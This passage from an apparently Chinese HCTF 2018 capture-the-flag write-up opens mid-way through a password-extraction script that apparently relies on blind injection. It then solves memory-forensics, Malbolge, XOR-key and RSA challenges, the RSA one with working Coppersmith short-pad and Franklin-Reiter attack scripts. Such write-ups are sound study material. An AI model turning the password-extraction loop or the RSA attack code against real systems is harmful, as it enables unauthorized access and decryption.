print('compare',adminC,testC,'mid=',mid,'l,r',l,r)
if adminC<testC:
l=mid
else:
r=mid-1
print(l,r)
password = password+chr(l)
print('password',password)

if __name__ =="__main__":
main()

Misc

easy_dump

用gimp来将内存视为raw图片来看内存中的贴图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
查看信息
{lamb} volatility -f mem.data imageinfo
Volatility Foundation Volatility Framework 2.5
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP0x64, Win7SP1x64, Win2008R2SP0x64, Win2008R2SP1x64
AS Layer1 : AMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (C:\Users\hasee\Desktop\HCTF\MIsc\easy_dump\mem\mem.data)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80004035070L
Number of Processors : 4
Image Type (Service Pack) : 0
KPCR for CPU 0 : 0xfffff80004036d00L
KPCR for CPU 1 : 0xfffff880009ee000L
KPCR for CPU 2 : 0xfffff88004568000L
KPCR for CPU 3 : 0xfffff880045dd000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2018-11-07 08:26:52 UTC+0000
Image local date and time : 2018-11-07 16:26:52 +0800

看进程
{lamb} volatility -f mem.data --profile=Win7SP0x64 pslist
Volatility Foundation Volatility Framework 2.5
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xfffffa80003a5040 System 4 0 108 373 ------ 0 2018-11-07 08:12:31 UTC+0000
0xfffffa80010729d0 smss.exe 276 4 2 32 ------ 0 2018-11-07 08:12:31 UTC+0000
0xfffffa8001ee7060 csrss.exe 364 344 9 462 0 0 2018-11-07 08:12:33 UTC+0000
0xfffffa8001fe2060 wininit.exe 416 344 3 81 0 0 2018-11-07 08:12:33 UTC+0000
0xfffffa8001fe1060 csrss.exe 424 408 11 197 1 0 2018-11-07 08:12:33 UTC+0000
0xfffffa800261eb30 services.exe 472 416 9 230 0 0 2018-11-07 08:12:33 UTC+0000
0xfffffa8002638670 winlogon.exe 504 408 3 114 1 0 2018-11-07 08:12:33 UTC+0000
0xfffffa800263cb30 lsass.exe 516 416 8 560 0 0 2018-11-07 08:12:33 UTC+0000
0xfffffa8002640880 lsm.exe 524 416 9 145 0 0 2018-11-07 08:12:33 UTC+0000
0xfffffa80026fdb30 svchost.exe 648 472 11 366 0 0 2018-11-07 08:12:35 UTC+0000
0xfffffa800272ab30 vmacthlp.exe 704 472 3 60 0 0 2018-11-07 08:12:35 UTC+0000
0xfffffa8002725b30 svchost.exe 748 472 7 279 0 0 2018-11-07 08:12:35 UTC+0000
0xfffffa8002780b30 svchost.exe 844 472 22 505 0 0 2018-11-07 08:12:35 UTC+0000
0xfffffa80026deb30 svchost.exe 884 472 11 298 0 0 2018-11-07 08:12:36 UTC+0000
0xfffffa80027cab30 svchost.exe 912 472 33 909 0 0 2018-11-07 08:12:36 UTC+0000
0xfffffa8002c02b30 audiodg.exe 1000 844 8 143 0 0 2018-11-07 08:12:36 UTC+0000
0xfffffa8002c169e0 svchost.exe 288 472 20 776 0 0 2018-11-07 08:12:36 UTC+0000
0xfffffa8002c3eb30 svchost.exe 520 472 17 374 0 0 2018-11-07 08:12:37 UTC+0000
0xfffffa80026f8340 spoolsv.exe 1096 472 13 320 0 0 2018-11-07 08:12:37 UTC+0000
0xfffffa8002760060 svchost.exe 1124 472 18 306 0 0 2018-11-07 08:12:37 UTC+0000
0xfffffa800271e060 VGAuthService. 1300 472 3 91 0 0 2018-11-07 08:12:37 UTC+0000
0xfffffa8002c62060 vmtoolsd.exe 1356 472 9 225 0 0 2018-11-07 08:12:37 UTC+0000
0xfffffa8001cabb30 taskhost.exe 1452 472 10 208 1 0 2018-11-07 08:12:37 UTC+0000
0xfffffa8001d21b30 dwm.exe 1628 884 3 84 1 0 2018-11-07 08:12:38 UTC+0000
0xfffffa8001d64b30 explorer.exe 1696 1548 20 661 1 0 2018-11-07 08:12:38 UTC+0000
0xfffffa8002d0cb30 vmtoolsd.exe 2028 1696 9 199 1 0 2018-11-07 08:12:39 UTC+0000
0xfffffa8002d42570 WmiPrvSE.exe 1392 648 10 218 0 0 2018-11-07 08:12:40 UTC+0000
0xfffffa8002d53630 dllhost.exe 1716 472 13 204 0 0 2018-11-07 08:12:40 UTC+0000
0xfffffa8002775b30 msdtc.exe 2236 472 12 150 0 0 2018-11-07 08:12:42 UTC+0000
0xfffffa8002de3b30 SearchIndexer. 2476 472 13 538 0 0 2018-11-07 08:12:46 UTC+0000
0xfffffa8003297b30 svchost.exe 2568 472 15 260 0 0 2018-11-07 08:12:46 UTC+0000
0xfffffa8003303630 wmpnetwk.exe 2724 472 10 212 0 0 2018-11-07 08:12:47 UTC+0000
0xfffffa8002cab800 WmiPrvSE.exe 3052 648 8 281 0 0 2018-11-07 08:12:59 UTC+0000
0xfffffa8001cfab30 WmiApSrv.exe 1228 472 4 115 0 0 2018-11-07 08:13:05 UTC+0000
0xfffffa8003303060 sppsvc.exe 1040 472 4 150 0 0 2018-11-07 08:14:39 UTC+0000
0xfffffa8003323060 svchost.exe 1376 472 13 365 0 0 2018-11-07 08:14:39 UTC+0000
0xfffffa8003344390 wordpad.exe 1804 1696 3 120 1 0 2018-11-07 08:15:35 UTC+0000
0xfffffa8000d9ab30 MineSweeper.ex 312 1696 9 208 1 0 2018-11-07 08:15:39 UTC+0000
0xfffffa8002de1560 mspaint.exe 2768 1696 6 122 1 0 2018-11-07 08:16:05 UTC+0000
0xfffffa8000e07470 svchost.exe 2472 472 6 104 0 0 2018-11-07 08:16:06 UTC+0000
0xfffffa8000cfeb30 cmd.exe 2824 1356 0 -------- 0 0 2018-11-07 08:26:51 UTC+0000 2018-11-07 08:26:52 UTC+0000
0xfffffa8002d68060 conhost.exe 2932 364 0 28 0 0 2018-11-07 08:26:51 UTC+0000 2018-11-07 08:26:52 UTC+0000

导出mspaint
volatility -f mem.data --profile=Win7SP1x64 memdump -p 2768 -D mem

后缀名改为data,gimp2打开

iXQCHU.png

处理一下

iXQiEF.png

difficult_programming_language

解usb数据包得到

1
D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~

Malbolge语言在线运行

hctf{m4lb0lGe}

Crypto

xor_game

flag作为xor的key重复使用加密明文

利用xortool猜测key的长度和key值

先处理数据,base64解码后转为16进制

1
cat cipher.txt |base64 -d | hex > out.txt
1
2
3
4
5
6
7
8
9
xortool -x -l 21 -c ' ' ../out.txt
8 possible key(s) of length 21:
6o7\x1ai6_i+te7es1ing!@#
6o7\x1ai6_i+te7es1ing!\x05#
6o7\x1ai?_i+te7es1ing!@#
6o7\x1ai?_i+te7es1ing!\x05#
xo7\x1ai6_i+te7es1ing!@#
Found 8 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv

得出的key大概是是xo7\x1ai6_i+te7es1ing!@#,看着修一修得到xor_is_interesting!@#,与密文异或得到可读的诗说明正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import base64
import string

from Crypto.Util.strxor import strxor
cipher=base64.b64decode(open('cipher.txt','r').read())

def enc(data, key):
key = (key * (len(data) / len(key) + 1))[:len(data)]
return strxor(data, key)

print enc(cipher,'xor_is_interesting!@#')

'''
out:
Life, thin and light-off time and time again
Frivolous tireless
one
I heard the echo, from the valleys and the heart
Open to the lonely soul of sickle harvesting
Repeat outrightly, but also repeat the well-being of
Eventually swaying in the desert oasis
I believe I am
Born as the bright summer flowers
Do not withered undefeated fiery demon rule
Heart rate and breathing to bear the load of the cumbersome
Bored
Two
I heard the music, from the moon and carcass
Auxiliary extreme aestheticism bait to capture misty
Filling the intense life, but also filling the pure
There are always memories throughout the earth
I believe I am
Died as the quiet beauty of autumn leaves
Sheng is not chaos, smoke gesture
Even wilt also retained bone proudly Qing Feng muscle
Occult
Three
I hear love, I believe in love
Love is a pool of struggling blue-green algae
As desolate micro-burst of wind
Bleeding through my veins
Years stationed in the belief
Four
I believe that all can hear
Even anticipate discrete, I met the other their own
Some can not grasp the moment
Left to the East to go West, the dead must not return to nowhere
See, I wear Zan Flowers on my head, in full bloom along the way all the way
Frequently missed some, but also deeply moved by wind, frost, snow or rain
Five
Prajna Paramita, soon as soon as
life be beautiful like summer flowers and death like autumn leaves
Also care about what has
[Finished in 0.3s]
'''

xor_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from Crypto.Util.number import *
import SocketServer
import string
import hashlib
import random
import requests
import json
from flag import *

class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
pass


class RSATCPHandler(SocketServer.BaseRequestHandler):
def handle(self):
self.request.sendall("Welcome to flag getting system\ngive me your token > ")
token = self.request.recv(1024).strip()
if not verify(token):
self.request.sendall("token error\n")
else:
p = getStrongPrime(1024)
q = getStrongPrime(1024)
n = p * q
e = 5
nbits = size(n)
kbits = nbits // (2 * e * e)
m1 = getRandomNBitInteger(nbits)
m2 = m1 ^ getRandomNBitInteger(kbits)
c1 = pow(m1, e, n)
c2 = pow(m2, e, n)

self.request.sendall("n=" + str(n) + "\n")
self.request.sendall("c1=" + str(c1) + "\n")
self.request.sendall("c2=" + str(c2) + "\n")

self.request.sendall("now give me you answer\n")
ans1 = self.request.recv(2048).strip()
ans2 = self.request.recv(2048).strip()

if str(ans1) == str(m1) and str(ans2) == str(m2):
self.request.sendall(FLAG)
else:
self.request.sendall("wrong answer\n")

if __name__ == "__main__":
HOST, PORT = "0.0.0.0", 10086
server = ThreadedTCPServer((HOST, PORT), RSATCPHandler)
server.serve_forever()

p,q是1024位的质数

n是2048位,e=5

nbits=size(n)=2048

kbits=2048//(2*5*5)=40

m1 = getRandomNBitInteger(nbits)

m2 = m1 ^ getRandomNBitInteger(kbits)

m1,m2只有前40位不同,长度过短,会造成短填充攻击

m2和m1可以考虑为m1的高2008个bit经过填充获得

可以求得m1-m2的差值diff

知道c1、c2、diff、e、n可以进行相关信息攻击

得到m1,m2发送过去即可得到flag

使用Coppersmith's Short Pad AttackFranklin-Reiter Related Message Attack来恢复m1和m2

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# coppersmiths_short_pad_attack.sage

def short_pad_attack(c1, c2, e, n):
PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

g1 = x^e - c1
g2 = (x+y)^e - c2

q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()

kbits = n.nbits()//(2*e*e)
diff = h.small_roots(X=2^kbits, beta=0.5)[0] # find root < 2^kbits with factor >= n^0.5

return diff

def related_message_attack(c1, c2, diff, e, n):
PRx.<x> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+diff)^e - c2

def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()

return -gcd(g1, g2)[0]

if __name__ == '__main__':
print "aaa"
n =
c1 =
c2 =
e = 5

nbits = n.nbits()
kbits = nbits//(2*e*e)
print "upper %d bits (of %d bits) is same" % (nbits-kbits, nbits)

# ^^ = bit-wise XOR
# http://doc.sagemath.org/html/en/faq/faq-usage.html#how-do-i-use-the-bitwise-xor-operator-in-sage

diff = short_pad_attack(c1, c2, e, n)
print "difference of two messages is %d" % diff

m1 = related_message_attack(c1, c2, diff, e, n)
print 'hhhha'
print m1
print m1 + diff

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def franklinReiter(n,e,r,c1,c2):
R.<X> = Zmod(n)[]
f1 = X^e - c1
f2 = (X + r)^e - c2
return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])

def compositeModulusGCD(a, b):
if(b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)

def CoppersmithShortPadAttack(e,n,C1,C2,eps=1/30):
import binascii
P.<x,y> = PolynomialRing(ZZ)
ZmodN = Zmod(n)
g1 = x^e - C1
g2 = (x+y)^e - C2
res = g1.resultant(g2)
P.<y> = PolynomialRing(ZmodN)
rres = 0
for i in range(len(res.coefficients())):
rres += res.coefficients()[i]*(y^(res.exponents()[i][1]))

diff = rres.small_roots(epsilon=eps)
recoveredM1 = franklinReiter(n,e,diff[0],C1,C2)
print(diff)
print(recoveredM1)
print(recoveredM1 + diff[0])

e = 5
n=0
c1=0
c2=0
CoppersmithShortPadAttack(e, Integer(n), Integer(c1), Integer(c2), 1/50)

exp3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def composite_gcd(g1,g2):
return g1.monic() if g2 == 0 else composite_gcd(g2, g1 % g2)

def franklin_reiter(c1, c2, N, r, e=3):
P.<x> = PolynomialRing(Zmod(N))
equations = [x ^ e - c1, (x + r) ^ e - c2]
g1, g2 = equations
print(type(g1))
return -composite_gcd(g1,g2).coefficients()[0]

def short_pad_attack(c1, c2, e, n, nbits, kbits):
PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+y)^e - c2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
r = h.small_roots(X=2^kbits, beta=0.5)[0]
m1 = franklin_reiter(c1, c2, n, r, e)
return m1, m1 + r


e = 5
n = ...
c1 = ...
c2 = ...

m1, m2 = short_pad_attack(c1, c2, e, n, 2048, 40)
print m1
print m2

参考: